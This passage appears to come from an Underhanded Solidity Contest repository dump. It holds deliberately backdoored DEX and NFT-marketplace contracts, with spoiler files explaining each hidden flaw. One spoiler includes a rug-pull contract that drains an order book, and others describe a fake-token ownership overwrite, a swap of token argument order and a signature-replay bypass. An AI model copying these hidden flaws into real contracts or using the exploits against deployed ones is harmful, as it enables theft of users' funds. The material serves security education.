    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity >=0.7.0 <0.9.0;\n \nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\n// AssetMgr manages assets (trading pairs).\ncontract AssetMgr is Ownable{\n\n    // assetPair represents a trading pair. The 'from' is used as validity-check.\n    struct assetPair{\n        address from;\n        address to;\n    }\n\n    // assets contains the asset pair mappings.\n    // E.g. \"WD\" might represent Weth/Dai\n    mapping(string => assetPair) public assets;\n\n    constructor(){\n        // Enroll some default assets here\n        assets[\"TETH/BNB\"] = assetPair({from: address(0xdAC17F958D2ee523a2206206994597C13D831ec7),to: address(0xB8c77482e45F1F44dE1745F52C74426C631bDD52)});\n        assets[\"TETH/USDC\"] = assetPair({from: address(0xdAC17F958D2ee523a2206206994597C13D831ec7),to: address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)});\n        assets[\"TETH/MATIC\"] = assetPair({from: address(0xdAC17F958D2ee523a2206206994597C13D831ec7),to: address(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0)});\n        assets[\"TETH/UNI\"] = assetPair({from: address(0xdAC17F958D2ee523a2206206994597C13D831ec7),to: address(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984)});\n    }\n\n    // enrollAsset makes an asset pair eligible for trading.\n    function enrollAsset( address from,  address to,  string calldata id) public onlyOwner{\n        require(assets[id].from == address(0), \"asset already enrolled\");\n        require(from != address(0),\"invalid asset\");\n        assets[id].from = from;\n        assets[id].to = to;\n    }\n\n    // removeAsset makes an asset pair not eligible for trading.\n    function removeAsset(string calldata id) public onlyOwner{\n        delete assets[id];\n    }\n\n    // getAsset returns the asset pair with the specified id.\n    function getAsset(string calldata id) public view returns (bool ok, address from, address to ) {\n        assetPair memory pair = assets[id];\n        if (pair.from == address(0)){\n            return (false, address(0), address(0));\n        }\n        return (true, pair.from, pair.to);\n    }\n}\n\n"
  },
  {
    "path": "2022/submissions_2022/submission15_MartinSwende/README.md",
    "content": "# Decentralized orderbook\n\nSimpEX is a very simple decentralized exchange.\n\n- Non-custodial: the assets are moved only when an order is executed.\n- Manual Market Maker (MMM): as opposed to an Automated Market Maker (AMM), which meets bids via provided liquidity and price-oracle functions. \n- Fair: making and taking is equally priced.\n- Sandwich-safe: frontrunning cannot modify market conditions such as price. \n  - Each 'take' uniquely identifies an order to take, thus cannot be swayed by MEV shenanigans.\n  - The 'worst' a frontrunner can do is take the order before you do. \n-  Slippage-safe\n  - A 'shallow orderbook' cannot cause slippage, since there's no automated fall-through to other orders.\n\n## What is an exchange\n\nTraditionally, an exchange for a given asset pair is an order-book. This is often visualized as two hills: the left side is buy-orders (bid), right side is sell-orders (ask). \nThe \"valley\" between the two hills is \"the spread\", \nand traditional exchanges often use the spread to reward themselves, the makers, or (less often) the takers. \n\n![orderbook](./orderbook.png)\n\nMaker: someone who provides liquidity -- placing an order into the orderbook. \nTaker: someone who removes liquidity -- taking an order off the orderbook. \n\nThis exchange earns money both from makers and takers: the cost for both making and taking an order is `1` native token. \n\n## How to use this\n\nVery simple. \n1. Check what assets are defined, e.g. \"TETH/UNI\" is the asset exhange between Tether and Uniswap tokens. \n2. If you want to sell 100 Tether for 200 Uniswap tokens, then call \n 2a. approve the SimpDEX for transferring TETH\n 2b. Place a 'make' order:\n \n```\n \tmake(200 /*cost in UNI */, 100 /*amount of TETH to sell*/, false /*direction, SELL =false, BUY=true */, \"TETH/UNI\")\n```\n\nFor someone who wants to take the order we just placed, it's equally simple: \n\n1. approve the SimpDEX for transferring UNI on your behalf\n2. Take it:\n \n```\n \ttake(orderid)\n```\n3. (optional): revoke the approval from step 1. \n\nAnd of course, before doing these operations you need to buy some SMP-tokens. \n\n"
  },
  {
    "path": "2022/submissions_2022/submission15_MartinSwende/RUGPULL.txt",
    "content": "# Pulling the rug\n\nThe exchange itself does not contain any (intentional) errors (there may well be errors in the way buy/sell directions for pairs are implemented due to lack of testing, if so, please ignore them).\n\nHowever, it relies opon an external contract to maintain asset pair mappings. \n\nAt a glance, this is fine:\n- The central DEX itself has no owner or privileged methods (only a public method to send accumulated funds to deployer). \n- The asset-manager owner can disable an asset pair, which is a reasonable failsafe for compromised assets, \n- The exchange itself can handle when an asset pair is disabled (orders simply fail, no observable side-effects other than some lost gas), \n- Owner cannot overwrite an existing asset pair (well...). \n\nHowever, in reality the owner can `remove` + `enroll` in one go, to on-the-fly redefine a pair. After initalizing the exchange + asset manager, the owner can change ownership to his\nmalicious contract (proof of concept code further down). \n\nLet's say there's an order to \"Sell 100 WETH for 100 USDT\". This means that the maker has authorized the dex to transfer (at least) `100 WETH` on his behalf. So what we do is: \n- Change the \"WETH/USDT\" so \"USDT\" resolves to some dummy-token \"DUM\" where operator has infinite balance. \n- Purchase 100 WETH for 100 DUM. \n- Restore the asset pair (optional) \n  - However, once people start noticing the drain, they will remove their authorizations, so it might be better to not restore it, but just go all-out and take the orders in larger batches as fast as possible. \n\n```\n// SPDX-License-Identifier: UNLICENSED\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"AssetManager.sol\";\nimport \"SimpEX.sol\";\n\ncontract Malicious is Ownable{\n    \n    function doAttack(address assetMgr, address alpha,  address beta,  string calldata assetPair, address simpEx, bytes32 orderId) public onlyOwner{\n        AssetMgr mgr = AssetMgr(assetMgr);\n        // store the previous asset\n        (, address pAlpha, address pBeta) = mgr.getAsset(assetPair);\n        // set the new mapping\n        mgr.removeAsset(assetPair);\n        mgr.enrollAsset(alpha, beta, assetPair);\n\n        // Now execute the order\n        // swap.take(...)\n        SimpEX(simpEx).take(orderId);\n\n        // restore\n        mgr.removeAsset(assetPair);\n        mgr.enrollAsset(pAlpha, pBeta, assetPair);\n    }\n\n}```\n\nIn effect: the malicious operator can drain the entire order-book, both buy and sell-side, by taking all orders and exchanging with DUM tokens. \n"
  },
  {
    "path": "2022/submissions_2022/submission15_MartinSwende/SimpEX.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"AssetManager.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract SimpEX{\n    // the orderbook\n    mapping (bytes32 => Order) public orderbook;\n    // native token tracking, for making/taking orders\n    mapping (address => uint256) public balances;\n    // The asset manager, set at construction time\n    address assetMgr;\n\n    constructor(address assets){\n        assetMgr = assets;\n    }\n\n    struct Order{\n        uint cost;      // denominated in to-amount: 32 bytes -> 256 bits, e.g. \n        address origin; // address of market maker\n        uint amount;    // amount of units \n        bool direction; // sell or buy-side\n        string assetid;  // asset id, e.g. \"TETH/BNB\"\n    }\n\n    // make() is the market-make function, placing an order into the orderbok\n    function make(uint cost, uint amount, bool direction, string calldata assetPair) public{        \n        // Putting an order in costs 1 token\n        require(balances[msg.sender] > 0,\"balance too low\");\n        balances[msg.sender]--;\n        // check that the asset is defined\n        (bool ok,,) = AssetMgr(assetMgr).getAsset(assetPair);\n        require(ok, \"inactive/undefined asset pair\");\n\n        // Place it in the order book\n        Order memory o = Order({ cost: cost, origin: msg.sender, amount:amount, direction:direction, assetid: assetPair});\n        bytes32 id = keccak256(abi.encode(o.cost, o.origin, o.amount, o.direction, o.assetid));\n        orderbook[id] = o;\n        // Todo: fire an event - omitted for brevity\n    }\n\n    // take is the function to take an order from the orderbook.\n    function take(bytes32 id) public{\n        // Taking an order costs 1 token\n        require(balances[msg.sender] > 0,\"insufficient balance\");\n        balances[msg.sender]--; \n        Order memory order = orderbook[id];\n        delete orderbook[id]; // Update state before external calls\n        require(order.origin != address(0), \"order does not exist\") ;\n\n        (bool ok, address alpha, address beta) = AssetMgr(assetMgr).getAsset(order.assetid);\n        require(ok, \"asset pair cancelled/halted\");\n\n        address seller;\n        address buyer;\n        if (order.direction){\n            seller = msg.sender;\n            buyer = order.origin;\n        }else{\n            buyer = msg.sender;\n            seller = order.origin;\n        }\n       \n        // seller -> buyer 100 TKN1\n        IERC20(alpha).transferFrom(seller, buyer, order.amount);\n        // buyer -> seller 100 TKN2\n        IERC20(beta).transferFrom(buyer, seller, order.cost);\n    }\n    // Omitted for brevity: \n    // \n    // buyToken(...) payable  - buys a native token for trading\n    // cancelOrder(bytes32 id)  - removes an order from the orderbook\n    // collect() -- ships accumulated ether to the deployer \n}\n"
  },
  {
    "path": "2022/submissions_2022/submission16_VladToie/Egg.sol",
    "content": "\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.1;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\n\ncontract Egg is ERC721 {\n\n    uint256 eggIDX;\n    address owner;\n\n    constructor() ERC721(\"EGG\", \"E\"){\n        eggIDX = 0;\n        owner = msg.sender;\n    }\n\n    // !!!!! this is external for debug purposes only\n    // in a real life scenario, Egg would have the usual ownership control for minting, etc\n    // it's intended to be like this basically, it's not part of the challenge; \n    function mintToSender() external {\n        _mint(msg.sender, eggIDX);\n        eggIDX += 1;\n    }\n\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission16_VladToie/EggMarket.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.1;\n\nimport \"@openzeppelin/contracts/token/ERC721/IERC721.sol\";\nimport \"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol\";\n\ncontract EggMarket is IERC721Receiver {\n\n    // mapping that handles ownership of the eggs within the EggMarket.\n    mapping(uint256 => address) public canRedeemEGG;\n    \n    // struct that handles the orders in the market\n    struct sell_Order {\n        uint256 egg_idx_offered;    // the ERC721 idx of the \"egg\" token.\n        uint256 amount_eth_wanted;  // the amount of ETH the seller wants to receive for the egg.\n        address egg_provider;       // the address of the seller.\n    }\n\n    // storing all the sell orders in the market.\n    sell_Order[] public sellOrders;\n\n    // egg. 卵. ou. ei. uovo.\n    IERC721 egg;\n    \n    /**\n        @dev EggMarket constructor.\n\n        @param _egg ERC721 contract instance.\n    */\n    constructor(address _egg) {\n        egg = IERC721(_egg);\n    }\n\n    /**\n        @dev Allows a buyer to buy an egg from the EggMarket via exhausting its subsequent sell order.\n\n        @param _idx The ERC721 idx of the egg.\n        @param _owner The `current` owner of the egg.\n    */\n    function executeOrder(uint256 _idx, address _owner) external payable {\n\n        require(\n            msg.sender != _owner, \n            \"err: no self-exchanges allowed\"\n        );\n\n        // find the sellOrder whose egg_idx_offered == _idx\n        for (uint256 i = 0; i < sellOrders.length; i++) {\n            if (sellOrders[i].egg_idx_offered == _idx) {\n\n                // check if the _owner is the seller\n                require(sellOrders[i].egg_provider == _owner, \"err: _owner != seller\");\n\n                // the egg is for sale.\n                \n                // check if the msg.sender has provided enough ETH to pay for the egg\n                if (msg.value >= sellOrders[i].amount_eth_wanted) {\n\n                    // the _owner has enough ETH to pay for the egg\n                    // paying the seller(current owner) of the egg\n                    (bool sent, bytes memory data) = _owner.call{value: msg.value}(\"\");\n                    require(sent, \"err: transfer failed\");\n\n                    // transfer the ownership of the egg from the seller to the buyer\n                    canRedeemEGG[_idx] = msg.sender;\n\n                    // remove the sellOrder from the sellOrders array\n                    sellOrders[i] = sellOrders[sellOrders.length - 1];\n                    sellOrders.pop();\n\n                    break;\n                }\n            }\n        }\n    }\n\n    /**\n        @dev Function to retrieve an EGG from the market.\n        \n        @param _idx The index of the EGG in the market.\n    */\n    function redeemEggs(uint256 _idx) external {\n\n        // check if sender can redeem the egg\n        require(\n            canRedeemEGG[_idx] == msg.sender,\n            \"err: msg.sender != owner(egg)\"\n        );\n\n        // approve the egg transfer.\n        egg.approve(\n            msg.sender, \n            _idx\n        );\n\n        // transfer the ownership of the egg.\n        egg.transferFrom(\n            address(this), \n            msg.sender, \n            _idx\n        );\n\n        // remove the egg _idx from the canRedeemEGG mapping\n        delete canRedeemEGG[_idx];\n    }\n\n    /**\n        @dev Function to effectively add a sellOrder for your egg on the EggMarket.\n        \n        @param _eggIDX The index of the ERC721 egg.\n        @param _ethWanted The amount of ETH the seller wants to receive for the egg.\n    */\n    function addSellOrder(uint256 _eggIDX, uint256 _ethWanted) external {\n\n        // check whether the msg.sender can sell the _eggIDX\n        require(\n            canRedeemEGG[_eggIDX] == msg.sender,\n            \"err: msg.sender != owner(egg[_eggIDX])\"\n        );\n\n        // create the new sellOrder\n        sell_Order memory newOrder;\n        newOrder.egg_idx_offered = _eggIDX;\n        newOrder.amount_eth_wanted = _ethWanted;\n        newOrder.egg_provider = msg.sender;\n\n        sellOrders.push(newOrder);\n    }\n\n    /**\n        @dev Function to effectively remove a sellOrder from the EggMarket.\n        \n        @param _eggIDX The index of the ERC721 egg.\n    */\n    function removeSellOrder(uint256 _eggIDX) external {\n\n        // iterate through all sellOrders\n        for(uint256 i = 0; i < sellOrders.length; i++) {\n\n            // check if the sellOrder is for the _eggIDX\n            if (sellOrders[i].egg_idx_offered == _eggIDX) {\n                \n                // check if the msg.sender is the owner of the egg\n                require(\n                    sellOrders[i].egg_provider == msg.sender,\n                    \"err: msg.sender != egg_provider\"\n                );\n\n                // delete the sellOrder\n                sellOrders[i] = sellOrders[sellOrders.length - 1];\n                sellOrders.pop();\n                break;\n            }\n        }\n    }\n\n    /**\n        @dev Inherited from IERC721Receiver.\n    */\n    function onERC721Received(\n        address,\n        address _from,\n        uint256 _tokenId,\n        bytes calldata\n    ) external override returns (bytes4) {\n\n        // we have received an Egg from its owner; mark that in the redeem mapping\n        canRedeemEGG[_tokenId] = _from;\n        \n        return this.onERC721Received.selector; \n    }\n\n}"
  },
  {
    "path": "2022/submissions_2022/submission16_VladToie/README.md",
    "content": "# The Egg Market.\n\nThe EggMarket is a simple decentralized exchange. Its role is to provide means of exchanging Eggs for ETH, just as a normal market would.\n\nThe Eggs are simple ERC721 tokens; everyone loves fresh eggs.\n\n> Disclaimer: Note that in `Egg.sol` the `mint()` function is `external` and has no access control. This is intended behavior for debugging purposes. You should assume that in real life scenario, it would be a \"safe\" ERC721 token with adequate Access Control, so that users would not be allowed to mint infinitely and for free.\n\nThe following mechanism is used to exchange an Egg for the wanted ETH:\n\n- Seller sends the `Egg`(ERC721 token) to the `EggMarket` contract.\n    - `EggMarket` receives the `Egg` and marks down that its `owner` has sent it via `onERC721Received`; this is to make sure that the `Egg` is locked in the contract. Of course, should its owner want to recall their egg from the market, they can do so via `redeemEggs` function.\n\n- Owner of `Egg` at `_idx` can propose a `sellOrder` on its `_idx`, for the amount of `_wantedEth`. This is done via `addSellOrder()`\n\n- Buyer selects and buys an order based on the `Egg's _idx`. This is done via `executeOrder()`.\n    - The ownership of the `Egg` is transferred to the buyer, at contract level.\n\n- From contract level ownership(via `canRedeemEGG`) the buyer can retrieve their new and fresh `egg`.\n\nThe following functions are implemented, documented accordingly:\n\n1. `executeOrder()` = Allows a buyer to buy an egg from the EggMarket via exhausting its subsequent sell order.\n\n2. `redeemEggs()` = Function to retrieve an EGG from the market.\n\n3. `addSellOrder()` = Function to effectively add a sellOrder for your egg on the EggMarket.\n\n4. `removeSellOrder()` = Function to effectively remove a sellOrder from the EggMarket."
  },
  {
    "path": "2022/submissions_2022/submission16_VladToie/spoilers.md",
    "content": "# The Rotten Egg Market.\n\n> The Eggs are simple ERC721 tokens; everyone loves fresh eggs. Nobody loves Rotten Eggs though... \n\nThe intended vulnerability here is the fact that there is no check on whether the received ERC721 token is an `Egg`; it can be a malicious `\"Rotten\"` egg, for that matter, let me explain how:\n\n- An attacker deploys a `RottenEgg` contract, identical structure(an ERC721 token) as the `Egg`.\n\n- Having unlimited access to the `minting` of the `RottenEggs` the attacker can virtually obtain any `tokenIdx`.\n\n- Note that the `onERC721Received` does not check what type of token is received. It just marks its `tokenIdx` owner as the `owner` of the transfer at hand.\n\n- In the scenario where a legitimate `Egg` seller has provided a legitimate `Egg`, the attacker can overwrite the `Egg` ownership via transferring a `RottenEgg`, hence stealing any `Egg` that are locked in the contract.\n\n> Bonus : if the user transfers their `Egg` via ERC721's `transferFrom` the `onERC721Received`  does not trigger, essentially locking the `Egg` in the `EggMarket`, since it would not be mapped to its sender; in this scenario anyone can trigger the aformentioned exploit and steal this locked `Egg`. More on why `safeTransferFrom()` is needed to trigger the [`onERC721Received` read this post](https://forum.openzeppelin.com/t/erc721holder-ierc721receiver-and-onerc721received/11828)."
  },
  {
    "path": "2022/submissions_2022/submission17_MichaelZhu/BrokenSea.sol",
    "content": "// SPDX-License-Identifier: Unlicense\npragma solidity ^0.8;\n\nimport \"solmate/tokens/ERC20.sol\";\nimport \"solmate/tokens/ERC721.sol\";\nimport \"solmate/utils/SafeTransferLib.sol\";\n\n\ncontract BrokenSea {\n    using SafeTransferLib for ERC20;\n\n    // Bidder => asset pair key => NFT token ID => bid\n    mapping(address => mapping(uint160 => mapping(uint256 => uint256))) bids;\n\n    /// @dev Creates an bid for the given NFT. Can also be used to\n    ///      update the price of an existing bid, or cancel a bid by\n    ///      providing price = 0.\n    /// @param erc721Token The ERC721 token contract.\n    /// @param erc721TokenId The ID of the ERC721 asset to sell.\n    /// @param erc20Token The ERC20 token contract.\n    /// @param price The bid price, denominated in the given ERC20 token.\n    function createBid(\n        ERC721 erc721Token,\n        uint256 erc721TokenId,\n        ERC20 erc20Token,\n        uint256 price\n    )\n        external\n    {\n        uint160 key = _getKey(erc20Token, erc721Token);\n        bids[msg.sender][key][erc721TokenId] = price;\n    }\n\n    /// @dev Accepts a bid on the caller's NFT. Transfers the\n    ///      ERC721 asset to the bidder, and transfers ERC20 tokens\n    ///      from the bidder to the caller.\n    /// @param bidder The address that created the bid.\n    /// @param erc721Token The ERC721 token contract.\n    /// @param erc721TokenId The ID of the ERC721 asset to sell.\n    /// @param erc20Token The ERC20 token contract.\n    /// @param price The price the caller is willing to accept.\n    ///        Reverts if the bid price is less than this amount.\n    function acceptBid(\n        address bidder,\n        ERC721 erc721Token,\n        uint erc721TokenId,\n        ERC20 erc20Token,\n        uint256 price\n    )\n        external\n    {\n        uint160 key = _getKey(erc20Token, erc721Token);\n        uint256 bidPrice = bids[bidder][key][erc721TokenId];\n        // If the bid price is 0, either the bid hasn't been\n        // created yet or it has been cancelled.\n        require(bidPrice != 0, \"BrokenSea::fillBid/BID_PRICE_ZERO\");\n        // Check that the bid price is at least the taker's price.\n        // This prevents the bidder from front-running the fill and\n        // lowering the price.\n        require(bidPrice >= price, \"BrokenSea::fillBid/BID_TOO_LOW\");\n\n        // Mark bid as filled before performing transfers.\n        delete bids[bidder][key][erc721TokenId];\n\n        // solmate's SafeTransferLib uses a low-level call, so we\n        // need to manually check that the contract exists.\n        uint256 size;\n        assembly { size := extcodesize(erc20Token) }\n        require(size > 0, \"BrokenSea::fillBid/NO_CODE\");\n        erc20Token.safeTransferFrom(\n            bidder,\n            msg.sender,\n            price\n        );\n\n        // Since this is _not_ a low-level call, the Solidity\n        // compiler will insert an `extcodesize` check like the one\n        // above; no need to do it ourselves here.\n        // Reverts if the caller does not own the NFT.\n        erc721Token.transferFrom(\n            msg.sender,\n            bidder,\n            erc721TokenId\n        );\n    }\n\n    // The `bids` storage mapping could be keyed by erc20Token and\n    // erc721Token individually, i.e.\n    //     bids[bidder][erc20Token][erc721Token][erc721TokenId]\n    // but that would require computing 4 keccak256 hashes per read/write.\n    // As a minor gas optimization, the `bids` storage mapping is instead\n    // keyed by the XOR of the two token addresses, i.e.\n    //     bids[bidder][erc20Token ^ erc721Token][erc721TokenId]\n    // It is statistically impossible to farm contract addresses that would\n    // create a key collision.\n    function _getKey(\n        ERC20 erc20Token,\n        ERC721 erc721Token\n    )\n        private\n        pure\n        returns (uint160 key)\n    {\n        return uint160(address(erc20Token)) ^ uint160(address(erc721Token));\n    }\n}\n\n"
  },
  {
    "path": "2022/submissions_2022/submission17_MichaelZhu/README.md",
    "content": "# BrokenSea\n\n⛽🏌️This is a gas-golfed version of Zora v3's [Offers](https://github.com/ourzora/v3/blob/main/contracts/modules/Offers/V1/OffersV1.sol) module!\n🤩 A bidder can call `createBid` to bid on the NFT of their dreams.\n💰 The NFT owner can call `acceptBid` to accept one of these on-chain bids.\n🤝 Assets exchange hands.\n😤 What could possibly go wrong?"
  },
  {
    "path": "2022/submissions_2022/submission17_MichaelZhu/SPOILER.md",
    "content": "Suppose Alice has been using the BrokenSea contract a couple of times already to buy and sell CryptoCoven witches.\nShe has called `setApprovalForAll` on the BrokenSea contract.\nNow she creates a bid for the witch #420, bidding a price of 1 WETH.\n\nEve comes along, and though she does not own witch #420, she has her eyes on one of Alice's witches, #666.\nEve calls `acceptBid`, but flips the ERC20 and ERC721 token addresses, like so:\n```\nacceptBid(\n    Alice,   // bidder\n    WETH,    // Supposed to be the ERC721 token\n    420,     // Supposed to be the ERC721 token ID.\n    WITCH,   // Supposed to be the ERC20 token\n    666      // Supposed to be the price\n)\n```\n\nSince XOR is commutative, `_getKey` returns the key to Alice's real bid.\n\nThe ERC20 and ERC721 token standards both specify a `transferFrom` function:\n- For ERC20, it's `transferFrom(address _from, address _to, uint256 _value) returns (bool success)`\n- For ERC721, it's `transferFrom(address _from, address _to, uint256 _tokenId)`\n\nThese two functions have the **same selector**: `keccak256(\"transferFrom(address,address,uint256)\")[0:4] = 0x23b872dd`\n\nSo on lines 70-74:\n```\nerc20Token.safeTransferFrom(\n    bidder,\n    msg.sender,\n    price\n);\n```\nThe solmate SafeTransferLib calls `transferFrom` under the hood, but in the exploit this actually transfers WITCH #666 from Alice to Eve.\n\nAnd on lines 80-84:\n```\nerc721Token.transferFrom(\n    msg.sender,\n    bidder,\n    erc721TokenId\n);\n```\nThis actually transfers 420 wei of WETH from Eve to Alice. What a steal!\n"
  },
  {
    "path": "2022/submissions_2022/submission18_DavidNunez/README.md",
    "content": "# CheapMarketplace\n\nA very simple NFT marketplace, that's intended to be \"cheap\" for users \nas both listings and offers are implemented as off-chain signatures, \nwhich can be presented to the marketplace by anyone that pays for the transaction.\nThere is also the possibility for sellers or buyers to cancel an existing order, \nin case they wan't to invalidate a previously signed order; to do so they have to\nmake an on-chain transaction so the contract can mark the order as void. So far so good.\n\nIt seems however that the authors didn't expect their marketplace to be _that cheap_.\n\n# Submission\nThe submission is a [Brownie](https://github.com/eth-brownie/brownie) project \nthat includes the marketplace contract (see `contracts/CheapMarketplace.sol`),\nas well as a test file that showcases the exploit (see `tests/test_marketplace.py`).\n\nNote that for simplicity the implementation of the marketplace is extremely reduced,\naiming for the shortest code possible (roughly ~120 LOC), which implies some obvious areas of improvement:\n* The marketplace only allows to trade assets from a single NFT contract, decided at deployment time\n* Orders don't have expiration time\n* Matching price is not optimized\n\nThese issues, however, are not related to the underhanded functionality."
  },
  {
    "path": "2022/submissions_2022/submission18_DavidNunez/brownie-config.yaml",
    "content": "dependencies:\n  - OpenZeppelin/openzeppelin-contracts@4.5.0\ncompiler:\n  solc:\n    remappings:\n      - \"@openzeppelin=OpenZeppelin/openzeppelin-contracts@4.5.0\""
  },
  {
    "path": "2022/submissions_2022/submission18_DavidNunez/contracts/CheapMarketplace.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0\npragma solidity ^0.8;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\n\ncontract CheapMarketplace {\n\n    struct SignedOrder {\n        bool isBuy;\n        address maker;\n        uint256 tokenID;\n        uint256 price;\n        uint8 v;\n        bytes32 r;\n        bytes32 s;\n    }\n\n    ERC20 public immutable paymentToken;\n    ERC721 public immutable nft;\n    mapping(bytes32 => bool) public voidOrders;\n\n    constructor(ERC20 _paymentToken, ERC721 _nft){\n        paymentToken = _paymentToken;\n        nft = _nft;\n    }\n\n    function _getOrderID(SignedOrder memory order) internal pure returns (bytes32){\n        return keccak256(abi.encode(\n            order.isBuy, order.maker, order.tokenID, order.price, order.v, order.r, order.s\n        ));\n    }\n\n    function _validateOrder(bytes32 hash, SignedOrder memory order) internal view returns (bool) {\n        /* Order must have not been canceled or already filled. */\n        bytes32 orderID = _getOrderID(order);\n        if (voidOrders[orderID]) {\n            return false;\n        }\n        return ecrecover(hash, order.v, order.r, order.s) == order.maker;\n    }\n\n    function orderMessage(\n        bool isBuy, \n        address maker, \n        uint256 tokenID, \n        uint256 price\n    ) public pure returns(bytes32) {\n        return keccak256(abi.encode(\n            \"\\x19Ethereum Signed Message:\\n32\", \n            keccak256(abi.encode(isBuy, maker, tokenID, price))\n        ));\n    }\n\n    function _requireValidOrder(SignedOrder memory order) internal view {\n        bytes32 hash = orderMessage(order.isBuy, order.maker, order.tokenID, order.price);\n        require(_validateOrder(hash, order));\n    }\n\n    function _cancelOrder(SignedOrder memory order) internal {\n        /* Check order is valid */\n        _requireValidOrder(order);\n\n        /* Assert sender is authorized to cancel order. */\n        require(msg.sender == order.maker);\n        \n        /* Mark order as cancelled, preventing it from being matched. */\n        voidOrders[_getOrderID(order)] = true;\n    }\n\n    function cancelOrder(\n        bool isBuy,\n        address maker,\n        uint256 tokenID,\n        uint256 price,\n        bytes32[3] calldata vrs\n    ) external {\n        uint8 v = uint8(uint256(vrs[0]));\n        SignedOrder memory order = SignedOrder(isBuy, maker, tokenID, price, v, vrs[1], vrs[2]);\n        _cancelOrder(order);\n    }\n\n    function _atomicMatch(SignedOrder memory buyOrder, SignedOrder memory sellOrder) internal {\n        /* Check orders are valid */\n        _requireValidOrder(buyOrder);\n        _requireValidOrder(sellOrder);\n\n        require(\n            buyOrder.isBuy && !sellOrder.isBuy\n            && buyOrder.price >= sellOrder.price\n        );\n       \n        /* Mark orders as void, preventing them from being matched. */\n        voidOrders[_getOrderID(buyOrder)] = true;\n        voidOrders[_getOrderID(sellOrder)] = true;\n\n        /* Exchange assets */\n        nft.transferFrom(sellOrder.maker, buyOrder.maker, buyOrder.tokenID);\n        paymentToken.transferFrom(buyOrder.maker, sellOrder.maker, buyOrder.price);\n    }\n\n    function atomicMatch(\n        uint256 tokenID,\n        address buyMaker,\n        uint256 buyPrice,\n        bytes32[3] calldata vrsBuy,\n        address sellMaker,\n        uint256 sellPrice,\n        bytes32[3] calldata vrsSell\n    ) external {\n        uint8 vBuy = uint8(uint256(vrsBuy[0]));\n        uint8 vSell = uint8(uint256(vrsSell[0]));\n        SignedOrder memory buyOrder = SignedOrder(\n            true, buyMaker, tokenID, buyPrice, vBuy, vrsBuy[1], vrsBuy[2]\n        );\n        SignedOrder memory sellOrder = SignedOrder(\n            false, sellMaker, tokenID, sellPrice, vSell, vrsSell[1], vrsSell[2]\n        );\n        _atomicMatch(buyOrder, sellOrder);\n    }\n}"
  },
  {
    "path": "2022/submissions_2022/submission18_DavidNunez/contracts/NFT.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\n\ncontract NFT is ERC721 {\n    constructor() ERC721(\"NFT\", \"NFT\") {\n      _mint(msg.sender, 1);\n      _mint(msg.sender, 2);\n      _mint(msg.sender, 3);\n    }\n}"
  },
  {
    "path": "2022/submissions_2022/submission18_DavidNunez/contracts/PaymentToken.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract PaymentToken is ERC20 {\n    constructor(uint256 initialSupply) ERC20(\"Payment\", \"PAY\") {\n      _mint(msg.sender, initialSupply);\n    }\n}"
  },
  {
    "path": "2022/submissions_2022/submission18_DavidNunez/spoiler.md",
    "content": "# The Flaw\n**TL;DR: The contract includes a [Signature Replay vulnerability](https://swcregistry.io/docs/SWC-121) that allows to bypass cancelled orders**\n\nThe flaw is actually a combination of ECDSA malleability with a wrong design choice,\nin which authors decided that order IDs in the marketplace are computed as hashes\nthat include the signature. This means that a cancelled order can be bypassed\nby providing a new order computed from the previously cancelled signature (using the\nECDSA malleability property), and that, consequently, will produce a different order ID.\n\nNote that although the facts that ECDSA is malleable and the `ecrecover` precompile doesn't seem to care\nare well-known, it's still common to find implementations in the wild that don't check for this (even if there are great libraries that do the job, like [OpenZeppelin's ECDSA contract](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol)).\n\nAs an example, [OpenSea's Wyvern v1](https://etherscan.io/address/0x7be8076f4ea4a4ad08075c2508e481d6c946d12b#code), which was the logic running the OpenSea marketplace until roughly a month ago, didn't check for malleable signatures (see L682 in [their code](https://etherscan.io/address/0x7be8076f4ea4a4ad08075c2508e481d6c946d12b#code)). \nOpenSea was exploited using signatures very recently, which probably motivated the recent upgrade to OpenSea's Wyvern v2.3,\nwhere the fix for malleable signatures is at last included. Nevertheless, it's a bit worrying that this problem was present just one month ago (although it doesn't seem it was exploitable). \n\nThis submission shows that a seemingly innocent design choice (i.e. using the signature as part of the ID for something), together with a naive use of a native EVM primitive like the `ecrecover` precompile, can have disastrous consequences for users of the contract.\n\n# References\n- Missing Protection against Signature Replay Attacks - https://swcregistry.io/docs/SWC-121\n- OpenSea's Wyvern v1 - https://etherscan.io/address/0x7be8076f4ea4a4ad08075c2508e481d6c946d12b#code\n- OpenZeppelin's ECDSA contract - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol\n"
  },
  {
    "path": "2022/submissions_2022/submission18_DavidNunez/tests/test_marketplace.py",
